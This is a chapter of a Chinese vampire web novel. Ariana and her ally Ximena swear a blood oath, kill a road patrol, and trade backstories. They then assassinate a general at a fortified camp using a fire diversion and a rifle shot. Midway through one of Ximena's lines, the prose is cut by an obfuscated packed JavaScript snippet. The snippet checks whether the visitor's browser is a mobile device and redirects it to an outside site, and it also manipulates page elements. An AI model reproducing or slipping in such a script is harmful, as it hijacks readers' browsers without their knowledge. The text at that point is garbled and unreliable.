“你这么年轻就有了，真让我佩服。” 我没有回应，很快我们就来到了吸烟室。希梅纳叹了口气，坐了下来，这声叹息透露出一种并非源于身体的警惕。 “阿丽亚娜，我有事要请你帮忙。我需要你帮我潜入一个大型军营，杀掉那里的将军，别问为什么。” “我们什么时候出发？” 希梅纳短促地笑了一声，带着苦涩，却也有一丝释然。 “我就知道能指望你。收拾东西，和你的同伴告别吧。你的同伴必须留在这里，你的仆人也一样。我们一周内就会回来。” 啊，看来我们要去杀当地一支部队的指挥官。这可有些麻烦，被谋杀的公众人物会引起极大的关注，而这正是我极力避免的。我一言不发地去准备，在路上遇到了洛斯和道尔顿。我向他们保证我会平安无事。 考虑到可能需要撤离，我早就准备好了一个 “应急包”，以便快速离开。我拿起它，又放了一些个人物品、旅行衣物和我的步枪。我还拿了一颗带有穿刺符文的银子弹，这是房子主人的馈赠。说到暗杀，远程武器总是比较保险。 当我回到入口时，发现他们三个人正在低声交谈。道尔顿正在给他们讲他最近逮捕的一对骗子的事，那两人冒充卡斯蒂利亚贵族，但他们俩加起来都不会说三句西班牙语。 “啊，你来了。洛斯，道尔顿，很抱歉，这件事我不能让你们参与。” “别担心，我理解。只要你保证把她毫发无损地带回来，好吗？” “好，我保证，不过也别太担心。我相信她能保护好自己。” 洛斯的语气有些漫不经心，神情也有些心不在焉。我很担心，我见过的所有吸血鬼都很快学会了控制表情和情绪，这不仅仅是出于礼貌，更是生存的需要。而希梅纳如此情绪外露，让我满心忧虑。 她礼貌地向洛斯和道尔顿鞠躬，然后头也不回地转身。我最后和他们道别，就匆匆跟上希梅纳。 “嗯，希梅纳，我有一口石棺，我们可以用它安全地休息……” “我有自己的，我们可以共用。” 她突然停下，转身看着我。今晚，我第一次从她脸上察觉到一丝犹豫。 “阿丽亚娜，我知道你和我、安齐萨不一样。我向你保证，我不会强迫你做任何事。” “啊，好的。” 我微微颤抖着回答。我可能得让她碰我，应该没问题吧，我想我是信任她的。 “别担心，那个安全的容器很宽敞。我知道你需要空间。听着，阿丽亚娜，我，啊，不，我一会儿再告诉你。抱歉，我有点语无伦次。你也能看出来，我现在有点心烦意乱。” 这可真是轻描淡写，她看起来如此迷茫，几乎像个人类了。这比我愿意承认的还要让我烦恼，但我还是毫不犹豫地跟着她。 我们离开洛斯的领地，在十字路口看到一辆黑色马车。再次看到马，我很惊讶，我想起兰伯特以前也骑马。 “我一直没问，这些马怎么不怕我们？” “它们叫梦魇马，是一种特殊的品种，很贵的。” 就说了这么一句。现在，好好交谈似乎成了一门失传的艺术。今晚想从我的同伴嘴里套出话来，简直比从灰熊嘴里拔烂牙还难。我放弃了，她用披风遮住显眼的盔甲后，我们便默默出发了。 我原以为我们会走得很快，但很快我就发现我错了。出发不到一个小时，希梅纳就离开了东边的大路，拐进了一条小路，很快我们就来到了一个隐蔽的湖边，湖边开满了野花。 这里的风景太迷人了，我毫不怀疑她是故意选了这个地方。万里无云的夜空中，星星和月亮交相辉映，美得令人窒息。紫色的诡异光芒在平静的湖面上反射，将湖面变成了一幅以绿色为背景的奇异画卷。周围的生命之声和动静，更凸显出我们的静止，这证明我们与头顶的星空有更多的共通之处，而不是周围的环境。一般来说，吸血鬼大多时候都是静止的，除非必要。 希梅纳从灰色盔甲的凹槽里拿出一把仪式用刀，在手中若有所思地转动着。刀刃不是金属的，而是一种不规则的晶体形状。我给她时间，让她鼓起勇气。最后，她终于鼓起勇气，努力直视我的眼睛。 “你离开新奥尔良的时候，我给你写了一封信。在信里，我称你为血姐妹。这么说可能有些冒昧，我猜你不知道血盟是什么吧？” “抱歉，我不知道。” “亲爱的，不用道歉。血盟是两个吸血鬼之间超越忠诚的友谊誓言。能缔结血盟是一种极大的荣幸，因为它无比珍贵。很少有人敢许下如此深刻的誓言。” 希梅纳深吸一口气，接着说道。 “我提议并请求我们缔结血盟。” 我愣住了，十分惊讶。这是从何说起呢？我下意识地交叉双臂，做出防御的姿势。在她面前，我并不在意表现出自己的软弱，显然，我们已经过了在意这些的时候了。 “这到底意味着什么？” “我可以说很多，但那些都不重要。血盟的本质是，当对方有需要且我们力所能及的时候，我们会互相保护，为对方的最大利益而努力。誓言的措辞可能有些模糊，但意思很明确。我们会像真正的姐妹一样。” 我思考了片刻。我确实喜欢并尊重她这个朋友，我欠她一条命，还有我的自由，以及许多其他的东西，但这些都不是重点。这个誓言，并非源于义务，它需要最纯粹的自由意志。 “你知道的，我不是什么主人。如果尼拉里回来，他的意志会压垮我，我对此无能为力。” “如果他真的回来，那也没办法。我们不会要求对方做不可能的事，只希望在关键时刻能互相帮助。” “你为什么真的想立下这个誓言呢？你为我做的已经远远超出了我的请求，而且我也从未犹豫过与你并肩作战。我们现在的相处就像姐妹一样。” “没错，但这样能让我们的关系正式化。你可以宣称这份血盟，我也可以。” “你这么做不也是在冒险吗？” “恕我直言，我才不在乎呢。我来向你求助，你毫不犹豫就答应了。这就足够了。” 一个姐妹，我从未有过姐妹，但如果有的话，我希望她能像希梅纳一样：无条件支持我、无畏且体贴。 “我答应。” 希梅纳眨了眨眼，情绪有些激动。她艰难地咽了口唾沫，用那把玻璃般的刀刃划破了自己的手掌，然后像个初次出门的害羞少年一样，把流血的手伸到我面前。 “无论欢乐还是绝望，无论盛宴还是战斗，无论胜利还是死亡，我们心手相连。” 哎呀，真是干脆，她果然不喜欢冗长的仪式…… “心手相连。” 我回应道，也划破了自己的手。我们的手紧紧相握，在那美妙的一刻，我感受到了我们刚刚建立起的深厚情谊。我们在那里停留了一会儿，享受着彼此之间的深厚信任，以及周围转瞬即逝的美景，而我…… “好了，我们走吧。” 啊？你这个假小子！我就不能享受一下这一刻吗？！ “你就这么着急吗？！” “对，对不起，我不太擅长这种事。不好意思！” 她匆匆跑向马车。我那转瞬即逝的满足感，就像阳光下的露水一样消失了，我噘起了嘴。这太不公平了，这样的记忆本可以铭记一生，对我们来说，甚至可能是几生几世，可她却把它毁了。真是的…… 我们再次出发后，她一直不敢看我的眼睛。我闷闷不乐地沉默着，心想怎样才能让她说出到底是什么在困扰她，只有这样，我才能像洛斯说的那样 “让她消消气”。 我们默默地驶过沉睡的村庄和收割后的田野。我想拿出笔记本，复习一下符文知识或者回顾我们最近的进展，但最后还是打消了这个念头。我已经有一段时间没有这样出来走走了，只是欣赏着沿途的风景。虽然这种活动没有我喜欢的在户外奔跑时那种疯狂的快感，但却有一种别样的放松。也许我正需要这个，我们一直都在专注于追踪兄弟会，我每时每刻都在想着这件事，而这次的小插曲说不定是件好事。 午夜过后很久，我们遇到了一个举着火把的小巡逻队。两个骑马的男人背着火枪，朝我们走来。领头的向我们喊话。 “站住！报上你们的姓名和来意。” 我还没来得及想好怎么委婉回应，希梅纳就不耐烦地回答道：“我们是旅行者，我们的事与你无关。” 嗯，这可不是处理这种情况的正确方式。 “这个时候，两个女人在这附近晃悠，这就是我的事。你们的父亲和丈夫呢？我问问，正经的、敬畏上帝的女人不会在天黑后还到处闲逛。” “而正经的绅士也不会在天黑后或者其他时候随便搭讪女人。现在让开，你最好注意一下自己的言行。” “我不会让一个女人来教训男人，女人就该闭嘴！” 那个男人带着得意的冷笑回应道。这时，第二个巡逻队员，一个留着卷曲小胡子的年轻人，和我一样，都一脸惊恐又好奇地看着这一幕。 “但我告诉你，凡看见妇女就动淫念的，这人心里已经与她犯□□了。” 希梅纳面无表情地反驳道，“看到了吧？你会这招，我也会。” 现在双方都展示了根据自己的目的引用《圣经》的能力，接下来，任何教义之争都进入了下一个阶段：暴力。 那个男人愤怒地喘着粗气，驱马冲向我的姐妹，而希梅纳像石像一样一动不动地看着他。我能感觉到她气场中的波动。哦，不，我真希望她带了铲子。 “我要教教你什么是尊重，臭娘们！” 他伸手去抓她的肩膀，另一只手扬起准备打人。可还没等我看清，他的两只胳膊就被希梅纳紧紧钳住，动弹不得。 “凭什么？你凭什么来教训我？就因为你力气大？就因为社会允许？来啊，动手啊，你这所谓的强者。” 她这是怎么了？希梅纳松开了一只手，那个攻击者趁机一拳打在她的脸颊上。 “放开我，你这个疯婆子！” 希梅纳不屑地一巴掌扇在他头上，他嘴里喷出鲜血，溅落在地上。他的马也开始惊慌失措。 在我面前，第二个民兵惊呆了，随后伸手去拿火枪。 哦，好吧，很高兴认识你。我纵身一跃，一下子就跨过了我们之间的距离，然后把他摔倒在地，接着一刀刺进了他那惊慌失措的马的脑袋。马倒下的时候，我跳下来，在那个摔倒的男人爬走之前，抓住了他的脚踝。然后，我把这个尖叫着的俘虏拖到了树林的掩护下。 至少我暂时解决了吸血的需求。 在去一个更隐蔽的地方之前，我回头看了看有点不好意思的希梅纳。她掐着自己的猎物，看起来有些尴尬。我故意皱起眉头，明显地表达我的不满。 “别太久。” 要是她把他的马放跑了，我发誓我可不会去追。这到底是怎么回事啊？算了，别想了，先让我享受一下吧。 “你能解释一下这是怎么回事吗？” “你不用管。” 希梅纳一边费力地挖着土，一边咕哝道。要埋两匹马，这个坑得挖得很深，我们得花一整晚才能挖好，好吧，是她得花一整晚，我可不想帮忙。 “如果你要像个怀恨在心、嗜血发狂的初拥吸血鬼一样乱来，我就不能不管。我记得我们很赶时间吧？你这么做完全没必要，你自己也清楚。” 希梅纳深深地叹了口气，靠在铲子上。 “我不想拿这些事来麻烦你。你已经帮了我很大的忙，我提议和你缔结血盟，部分原因也是为此。现在我们的血盟已经缔结，你可以宣称我是你的姐妹，将来有需要的时候，也可以向我求助。” “这可不只是互相支持的问题。成为姐妹意味着我们要分享彼此的心事，而不只是在秘密行动中利用对方的支持。犯罪伙伴和姐妹之间还是有区别的。” 她羞愧地低下了头。 “你说得对，当然对。我很抱歉。过去几年发生了太多事，挑战了我的信念，现在我不得不面对一些关于这个世界和我自己的残酷事实。我意识到我把你也拖进来了。我知道你也有自己的烦恼，可我还拿我的事来麻烦你……” “你别说了行不行？有什么事就直说，别逼我从你嘴里把话挖出来。” “哦？” 她带着一丝笑意回应道，“要是我拒绝呢，你能怎样？” “我唱歌。” 希梅纳以为我在开玩笑，笑了起来。但在我为死去的巡逻队员唱了一小段《友谊天长地久》后，她很快就意识到了我的歌声对她的耳朵和理智构成的威胁。 “好吧，我告诉你，求你别唱了。哦，我看出来了，你没开玩笑。我得问问，我之前提议你学音乐的时候，你真去学了？求你说没有。” “我又不傻，我去学了绘画和素描。” “谢天谢地。我知道你可能有几十年的时间去练习，但是……” “亲爱的姐妹，你这是想转移话题吧，而且我觉得你刚才这句话有点伤人。要不我接着唱？” “别别别，原谅我！我这就说。” 我闭上嘴，就像把刀入鞘一样。今晚不知道是第几次，希梅纳又大声而痛苦地叹了口气。她继续挖着土，开始讲述她的故事。一开始，她的语气有些犹豫，甚至有些害羞，还经常抬起头来观察我的反应。接着，她渐渐沉浸在故事里，忘掉了一切。 “为了解释我的痛苦和我现在的处境，我只能给你讲讲我的过去。我知道你的经历，现在也该轮到我分享我的故事了。” “我于1686年出生在加泰罗尼亚的一个村庄。在你打断我之前，我知道你不知道那是哪里，所以我来解释一下。加泰罗尼亚是西班牙东北部的一个地区。现在，当你想到我那个时候的家乡，你可能会想象装满黄金的大帆船，穿着艳丽的士兵们在麦田前耀武扬威地决斗，对吧？” “这得怪你给我寄的那本书，里面的描述太生动了。” 我回答道。 她轻声笑了笑，但这笑声听起来有些奇怪。冷冰冰的，空洞洞的，只是出于习惯和礼貌做出的人类的动作，没有任何真情实感，里面没有一丝笑意，很快我就知道了原因。 “那时的西班牙简直就是人间地狱。战争、饥荒、干旱和瘟疫肆虐，这片土地就像一具被啃噬的尸体。土匪和雇佣兵横行，把这片土地搜刮得一干二净，百姓们遭受着几个世纪以来都未曾见过的苦难。国家已经名存实亡，想要讨回公道，只能靠自己的武力。那些像秃鹫一样争权夺利的贵族和最贫苦的平民之间的地位差距，对于出生在共和国的人来说，是难以理解的。 希梅纳的铲子在空中挥舞，扬起一阵土石，如冰雹般落在附近一棵树的树枝上。 “看看我，用这么多复杂的词，还像要去看血腥歌剧似的铺垫背景。我给你说得更明白点吧。我母亲是个煤矿工人的女儿，父亲是个路过的士兵。她还有很多其他孩子，我们和村里其他孩子一起在森林边缘的这个小村庄长大。我们总是挨饿，一贫如洗，微不足道。我最喜欢的同母异父的弟弟，因为过马路时挡了一位子爵的路，被他当场开枪打死。我年幼的表妹在塔拉戈纳路边觅食时，被土匪发现，惨遭凌辱后被割喉，她才十三岁。冬天的时候，我们只能轮流出门，因为我们的衣服只够三个孩子穿，剩下的孩子只能赤身裸体地挤在一堆脏兮兮的毯子下。我们只能把死去的亲人扔在外面，等春天再埋葬，因为没人有力气，也没人愿意在冰面上挖坑。每年，我们都有亲人死于疾病和寒冷。每年，活着的人又像野兽一样繁衍，每年，疲惫的女人们又会生下啼哭的婴儿，然后把他们抱在干瘪的胸前，盼着这个孩子能活到成年。这就是我的生活。” “在我们村里，住着一位老牧师。他是一个商人的第三个儿子，因为这样那样的原因，失宠于教会高层。他喜欢把幸存者们聚在一起，给我们讲过去的故事，说我们的国家曾经多么富有强大。他说我们曾经是欧洲的骄傲，和一个叫葡萄牙的国家瓜分了美洲。他给我们讲哈布斯堡帝国，说它幅员辽阔，从地中海一直延伸到遥远的北方，越过了比利牛斯山脉。我有很多问题，我问他为什么我们要遭受这些苦难，是不是上帝在惩罚我们？他说是的，我们迷失了方向，曾经我们遵循基督教的教义，却因为自负受到了惩罚。他还给我讲了我们过去的英雄，包括熙德，还有和我同名的他的妻子多娜·希梅纳·迪亚兹。我想了很多，如果我能过上更好的生活，上帝会不会保佑我，让我像熙德拯救莱昂和卡斯蒂利亚免受伊本·优素福的侵害那样，拯救自己和西班牙。” “几个月后，我们一群人在一条用来偷猎兔子的狩猎小路上，发现了一个受伤的贵族。我们大多数人都想抢劫他，只有我反对。因为我比大多数人都高都壮，所以我们把这个人带到了一个我们用来熏肉和晾干兽皮的避难所。他醒来后，做的第一件事就是把我打得鼻青脸肿，还诬陷我袭击他。然后他决定教训我一顿。我很幸运，我最强壮的表哥提前带着猎物回来了，在他得逞之前把他从我身上拉开。然后，我拿起他的匕首，不停地刺他，直到他不再动弹。” 我深知那种感觉，无力、不公、痛苦，还有愧疚。 “我们把他的尸体埋了，我拿着他的钱包去了最近的城市。我和几个男孩用里面的钱买了几袋谷物和肉。在那之后的一个星期，我们都没再挨饿。” “就在那时我明白了，我遵从教会的教义，却失去了贞洁；我顺应世界的规则，却填饱了肚子。从村里那些小混混的掠夺中，我获得了很多尊重。我能在单挑中打败大多数男孩，我能出谋划策，而且我不属于任何男人。这些足以让我成为一个领袖。” “下次再有那些混混来抢我们的食物时，我们等他们喝得烂醉睡着了，就把他们全杀了。我们拿走他们的武器，用这些武器去打劫旅行者和商人。我们小心又耐心，从不留活口。就这样，我成了强盗女王。” “我们风光了一阵。我们精心挑选目标，有时候一整个季节都不发动袭击。这样，我们就能为村子弄到物资。男人们有力气干活了，女人们不再那么挨饿，更多的孩子也能熬过冬天。直到那个决定性的夜晚，我们试图袭击一个目标，一辆没有护卫、由两匹黑马拉着的贵族马车。” “啊。” “是的，我就是这样遇到了乌拉卡夫人，我的初拥者，也是加的斯家族唯一的女士。” 从那之后，希梅纳的情绪变得有些沉思。我知道，吸血鬼达到大师级别后，就不必再听从初拥者的命令，但这并不会切断所有联系。而且看起来，她和这位乌拉卡夫人的关系，比我和……主人之间的关系要和谐得多。 “她对一个由女人领导的团伙印象深刻，所以只杀了我们两个人，其他人都被放走了，但条件是我要为她效力。我欣然答应了。你可能想知道，我为什么会心甘情愿地为一个怪物效力。你得明白，我当时确信自己没救了。‘不可杀人’，我违背了这条最基本的戒律。我无论如何都是个被诅咒的灵魂，我心里清楚，总有一天我的好运会用完，我会凄惨地死在泥泞的路边，肠子流出来，或者被绞死，尸体挂在绞刑架上，任由乌鸦啄食我的眼睛。这就是这个世界为我准备的结局，而我也不知道，也不敢奢望会有更好的结果。” “然后这个女人出现了。” “她不是贵族，但她富有、干净，身上还散发着好闻的味道。那些肥胖的商人和傲慢的伯爵们都为了她的青睐争得头破血流。她是个女人，却也是个精通剑术的勇猛战士。她不信教，却似乎与世界和自己都能和平相处。我以前被告知这是不可能的，但我错了。我想成为她那样的人，我爱她，不，是崇拜她。对我来说，她就是全世界。” “她在黑夜里穿梭，给那些值得的人送去礼物，惩罚那些滥用权力的人。那些寄生虫般的权贵，在她眼里就像枯枝，她像打理花园一样，仔细地把他们从自己的领地清除。他们那些愚蠢的阴谋很快就被识破并粉碎。那时我就想，这才是真正的女英雄。” “当她选择把我变成吸血鬼时，那是我一生中最美好的一天。我坚信，我会在吸血鬼中过上荣耀的生活，遵循我们严格的行为准则，用我的剑为自己闯出一片天地。腐败、裙带关系和琐碎的政治将在我这里终结。哦，别这样看着我。我当时才十八岁，而乌拉卡夫人是我见过的唯一的吸血鬼。” 希梅纳看起来比实际年龄要成熟。土匪的生活肯定很艰苦，或许也让她更快地成长了。尽管她看起来很坦率，但她提到他们从不留活口时，我可没有错过这个细节。 “你能想象我有多失望。对我们来说，幻想破灭是一种危险的情绪，但我还是继续战斗，因为我发现有一个团体和我有着相同的信念。” “那些骑士。” “是的。他们身着灰色服装，表明他们抛弃了从前的忠诚。他们是一支纪律严明的统一军队，致力于清除世界上最邪恶的势力。” “考虑到吸血鬼也可能被视为世界上最危险的元素，这有点讽刺啊。” “你真的这么认为吗？” 希梅纳的问题很有道理。我思考了一会儿，我觉得自己是这个世界的祸害吗？其实不然。我确实杀过人，很多次，但我也保护了我的领地，抵御了更可怕的威胁。我相信，我们是相对较小的邪恶。如果我们统治世界，自由会减少，但无谓的杀戮也会减少，这一点得记住。 “不，我不这么认为。” 我的姐姐点了点头，仿佛我的答案毫无悬念。对她这样见识过人性最丑恶一面的人来说，相比之下，我们似乎还算温和。 “我加入了骑士团，有一段时间，我真的觉得自己找到了归宿。各个小队和成员被派出去维护秩序和纪律，大家都全力以赴。然后，我在一次保护任务中被背叛了。” “被背叛？” “是的。我负责把一个初拥吸血鬼带到日内瓦接受审判。我们知道她未经许可进行了大屠杀，但她的主人是否参与其中还在调查中。她要接受审讯。” “初拥吸血鬼无法违抗主人的命令。如果主人让她闭嘴，她就不会开口。” 希梅纳停下挖掘的动作，靠在铲子上，仿佛承受着巨大的压力。 “有……一些办法……可以打破这种强制命令。当吸血鬼的精神无法承受时，他们的身体却能忍受非人的折磨。即使是埃肯族，拥有传奇般的忍痛能力，最终也会在极度痛苦中屈服，真相就能从破碎的心灵中被挖掘出来。就像我之前说的……这种事发生过，以后也还会发生。” “天哪……” “不管怎样，我把我们的路线告诉了附近的一位骑士同伴，请求支援，却没意识到他和我押送的那个吸血鬼的主人曾是恋人。” “你不知道这件事？” “这不是大家都知道的事。他泄露了路线，我们遭到了伏击，那个初拥吸血鬼被杀了。调查揭示了那个骑士的背叛行为，他受到了惩罚并被流放。对我的失误处罚相对较轻，只是被降职了。” 希梅纳凝视着远方，过了一会儿又继续挖掘。 “你在城堡下找到我的时候，我很痛苦。你的眼泪所传达的情感，让我得以宣泄心中的沮丧和愤怒，让我觉得那只是一次意外。我不得不接受骑士也会犯错这个事实。就像我在一封信里提到的，波士顿的骑士团团长沃尔夫冈给了我一个恢复职位的机会。我必须完成几项任务，如果成功，我就能再次成为骑士。只是……” “只是什么？” “这片土地上还有另外两个侍从，其中一个一直在破坏我的工作。你能想象我现在的心情。” “哦，天呐，又是这种事。不过我得问问，你和其他侍从是在竞争吗？” “算是吧。侍从晋升所需的时间，会根据他们的表现有所不同。” “你有没有想过，沃尔夫冈可能是故意这么安排，来考验你是否从上次的事情中吸取了教训？” 她一下子愣住了。 “什么教训？” “不要相信任何人，哪怕是其他骑士？” 她放下了铲子。 “你是说他会故意破坏自己的行动？” “也许是，也许不是，但还有什么比让一个犯错的骑士再次面对导致她失败的原因——自己人的背叛，更好的方法来检验她是否能改过自新呢？” “那这意味着我请你帮忙是个错误。我们不应该分享当前行动的细节，我请你帮忙已经是在冒险了，因为我担心这是个陷阱。” “或者说，当不能信任同伴侍从时，你选择了一个可靠的外部盟友。” “没错……没错，你说得对。我知道我能信任你，因为我了解你。我应该相信自己的直觉。就像我之前也应该相信直觉和常识一样。不管怎样，这是一次考验。谢谢你，阿丽亚娜，你让我想通了。” “嗯，我觉得你太抬举我了。” “我没有。我之前很痛苦，因为我觉得一切都没有改变，但我错了。我无法让世界变得完美，但我可以像你一样。” “吃掉敌人？” “不是！嗯，也算是，但不只是这个。我是说你看待世界的方式。你能把握全局 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15081613|162875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，却又总是专注于眼前亟待解决的问题。我不应该因为有些骑士不符合我的标准而沮丧，而应该努力把他们从我们的队伍中清除出去。没错，我就该这么做。谢谢你，阿丽，真的很感谢！” 我觉得在这件事上我没做什么，不该得到这么多感谢，但我还是点点头表示领情。 “很高兴能帮到你。不过还有最后一件事。” “嗯？” “我觉得你不用再挖了。”我指着那个已经比她还高的坑说道。 “啊，对。够深了。我们把他们放进去，然后把土填上就行。” “不，亲爱的姐姐，填土的事你来做。” “哼，好吧！” 巧合的是，我们的目标在巴林顿堡附近，我上次和宾格尔先生见面就在那里。我很想去看看塞西莉，看她有没有找到好玩的派对，可惜正如洛斯所说，我们 “是来办事的”，所以我只能跟着希梅纳，按计划行事。 当她告诉我目标在军营里时，我脑海中浮现出一排排帐篷、正在操练的士兵，周围还有土木工事和木塔，就像我在镇上看到的那些爱国回忆录里描绘的那样。但我错了，这可不是行军途中临时搭建的营地，它实际上就是一座城镇。 巴林顿堡本身位于一座设防的小山上，两侧被河流环绕，另一侧是一片防御工事和堡垒群。我们坐着马车轻松地通过了这些防御设施，我很快就明白了原因。在第一道防线后面，是一片杂乱但建造坚固的木屋。即使在夜晚，这里也有一群人聚集在一个临时市场周围。商贩们从马车上售卖烟草和酒水，满足休假士兵的需求。女人们收集用过的制服，洗净缝补后再送回。空气中弥漫着食物的香气，从一座两层楼的建筑里传出的声音，毫无疑问地表明这里存在着世界上最古老的职业。我们走向指定停车点时，周围至少有五百人，一些士兵甚至还带着妻子和孩子四处走动。 “嗯，这里有多少战斗人员？” “第三线步兵团和佐治亚州第一民兵团，还有一些骑兵和炮兵，总共有三千多人。将军的住处一直都有严格的门禁，所以我们必须潜入基地内部。” “我明白了。那目标呢？” “切斯特·弗洛伊德将军，第七军区的指挥官，他今晚就得死。” 我们把马车停在两辆空马车之间，我迅速下了车。 “等大多数人都睡着后，我们再行动。你尽量别露面，人们会记住今晚发生的事，尤其是陌生人。” “等等，我有个主意，十分钟后回来。” 我说到做到，跑去办事，用魅惑术让布料商人忘记了我的存在，然后迅速回到我的同伴身边。希梅纳看到我时，微微挑了挑眉毛。 “看！怎么样？在黑暗中，我们可以扮成士兵！这肯定有助于我们潜入！” 希梅纳盯着我的制服，眨了好几下眼睛。 “阿丽亚娜，请你转个身。” 我嘟囔着照做了。这条裤子在关键部位太紧了，我都担心要是蹲得太快，缝线会崩开。我再次面对姐姐时，她正咬着下唇。 “怎么了？这主意不错啊！” “哦，阿丽亚娜，这主意确实很棒，很有创意，还……让人眼前一亮。不过，很遗憾，我该怎么说呢？你身材太曲线玲珑了，扮不了男人。” “天会很黑的！” “就算在黑暗中，只要有人看到你穿着这身制服，还是会一眼看出你是个女人。抱歉，阿丽亚娜。” “啊，好吧。” 我本来还很期待能乔装打扮一番呢…… “那我想我得把它们还回去。” “啊，别别别，等等！把它们给我，我想让艾茨娅试试。” “希梅纳，你不会真要让她穿着去潜入基地吧？” “什么？哦，当然不会，嗯，别担心，我会让她马上脱下来的，我保证。这会有其他用处的。” 真奇怪，算了，也不重要。 “要不，我借你一件侍从的盔甲吧，它们可以调节大小。” “不用了，我还是穿自己觉得舒服的衣服行动吧。” 接下来的几分钟里，我们像在临时时装秀上一样，比较着各自的 “杀人装备”。 “而且血迹很容易就能洗掉！” “这衣服太棒了，亲爱的姐姐，你说这裙子里有我推荐的护心甲吗？” “没错。” “太棒了，我在想斯科拉格的洛斯会不会愿意给我做一件，当然，我会付钱的。” “我肯定他很乐意接你的生意。” 我们迅速做好准备。我把塔利兰步枪放在黑色的肩套里，这样在行动时就不会反光。虽然姐姐不赞同地皱了皱眉，但也没反对我带上它。我希望她不会反对！除了毒药，远程武器是安全除掉目标的好方法，况且我们这次的目标是个人类。说真的，我的步枪是最佳选择。 希梅纳让我记住了军营的基本地图，然后我们默契地静静等待。随着人群渐渐入睡，夜晚的声音也越来越小。午夜刚过，她站起身来说是时候行动了。 我们在村子里悄无声息地奔跑，轻松避开了偶尔出现的夜归者。很快，我们来到了开阔地，朝着目标加速前进。到达第一道土木工事时，希梅纳轻松一跃就翻了过去，我立刻跟上。她落地时，似乎才想起我，担忧地看了一眼，看到我稳稳地停在她身边，才松了口气。这样的场景重复了几次，直到她意识到我能轻松跟上她的速度。看来那些夜晚的奔跑练习终于有了回报。 在接下来的几分钟里，我们像幽灵一样在基地里穿梭潜行。我们避开巡逻队，在哨兵之间穿插，还翻过了堡垒的围墙。无论是石头还是尖刺都无法阻挡吸血鬼，凡人的眼睛和耳朵也无法察觉到我们，我们悄无声息地穿过人类的防线，畅通无阻。整个基地对我们来说毫无秘密可言，我趁机观察着这里。一排排木制营房，每个营房里住着一个小队，营房之间还夹杂着铁匠铺、军械库和谷仓。我很难想象这里竟然有这么多战斗人员，而他们只是抵御入侵时会投入的一小部分兵力！我不禁想象起有上万人参与的大战会是什么样子，那场面肯定极其壮观！只可惜这种战斗都只在白天进行，实在是太遗憾了。 我们毫无阻碍地从侧面接近将军的住处。他住在一座比营地还早建成几年的老房子里，房子周围是一座方形堡垒，每个角上都有瞭望塔。我们轻松地跃上围墙，确认哨兵看向别处后，便悄悄跳了下去。我紧跟在希梅纳身后，躲进了靠着栅栏搭建的一间小木屋的阴影里。 在开阔地的中央，就是我们此行要刺杀的人的住所。 它在我眼中如同城市的夜空般显眼，周围还有几个小队的士兵严阵以待。 “我就知道。”我的同伴低声说道，她的怀疑得到了证实。这座石制建筑布满了各种各样的魔法符文和咒语，几乎坚不可摧。只有事先得到警告的人才会布置如此复杂又昂贵的防御工事，这需要一队经验丰富的魔法师花费好几天的时间，还得耗费一大笔材料费用。希梅纳确实被背叛了，背叛她的人肯定和施法者有联系。 “你能破解这些防御，让我进去吗？”她问道。 我不屑地看了她一眼。 “你在说什么？我们不是来潜入的，而是来取他性命的。” “我们得把他从这个死亡陷阱里弄出来。” “不对，姐姐，我只要看到他就行，我知道该怎么做。” 我观察了一下周围的环境，找到了我预料中的东西。这座堡垒设计得能在被围攻时自给自足，不过要是用火炮的话，很快就能轰塌城墙。堡垒里有一个火药库。 “我们这么做。”我低声说出了一个简单的计划。 一开始，希梅纳有些犹豫。她传统的行动方式和我的方法产生了冲突，但她又无法否认这个务实方案的吸引力。 “好吧，姐姐，这件事我听你的。” 她正要离开，却又停了下来，背对着我低声补充道： “你在城堡来找我的时候，说自己枪法很好，我还嘲笑了你。我得向你道歉。” “等我成功了再道歉吧。祝你好运。” 我平静地深呼吸。守卫塔上的两个男人在我脚下沉沉睡去，他们的意志力在我全力施展的魅惑术面前不堪一击。夜晚寂静无声，只有燃烧的火把和疲惫士兵的心跳声。 我等待着。 在我前方一百步远的地方，希梅纳悄悄绕到一个无聊的守卫身后，缓缓从他腰带上取下一串钥匙。她转身打开了军械库的门，门无声地转动着。她走进军械库，不一会儿就抱着一桶火药走了出来。 我继续等待。 她在黑暗中沿着外墙，来到了一间对着将军卧室的棚屋旁。 我依旧等待着。 棚屋突然燃起大火，火势迅速蔓延，将整个小屋吞噬，希梅纳则趁机悄悄离开。四周响起了尖叫和警报声。 我还是等待着。 棚屋在一阵火光和碎片中爆炸了，远处的警钟也响了起来。我脚下的一个守卫动了动。空气中充满了呼喊和尖叫声，整个营地都被惊醒了。 我依然等待着。 黑暗中响起了号角声，一群半裸着身子的男人从床上跳起来，手里拿着武器冲了出来。他们四处散开，更多的火把将黑夜照得通红，地上的影子随着人们的跑动摇晃、扭曲，仿佛在疯狂地跳舞。 我依旧静静地等待着。 窗户的百叶窗打开了，露出一个短发的老人，他穿着敞开的衬衫。他有着一双醒目的蓝色眼睛，左脸颊上有一道小疤痕，那是被克里克族的箭留下的痕迹。 你好，切斯特，永别了。 我扣动了扳机。塔利兰步枪精准无比，洛斯精心雕刻的银子弹如同击碎脆弱的玻璃一般，冲破了那些魔法防御。一朵红色的血花在将军的额头绽放，我知道他的脑浆此刻已经溅射到了卧室的墙上。 我花了一秒钟把枪收好，任务完成了。 “怎……怎么回事？”一个睡眼惺忪的守卫喃喃自语道。我反手一挥，把他打晕了过去。我本可以直接杀了他，但我喜欢只留下一个受害者的想法，这样传达的信息更有力，表明这些守卫是如此无用，我们甚至都不屑于把他们都解决掉。 希梅纳赶到我身边后，我们一跃而出，消失在了夜色之中。 第二天晚上。 “阿丽亚娜，你太厉害了！我从没见过哪个年轻的吸血鬼能像你这样灵活敏捷，我也没想到你能这么轻松地跟上我！而且，这不仅仅是你身体素质好，用火烧来分散注意力这个主意太妙了，风险也计算得恰到好处。一开始我还有些犹豫，因为我以前有过一些不太好的经历。显然，我的担心是多余的。” 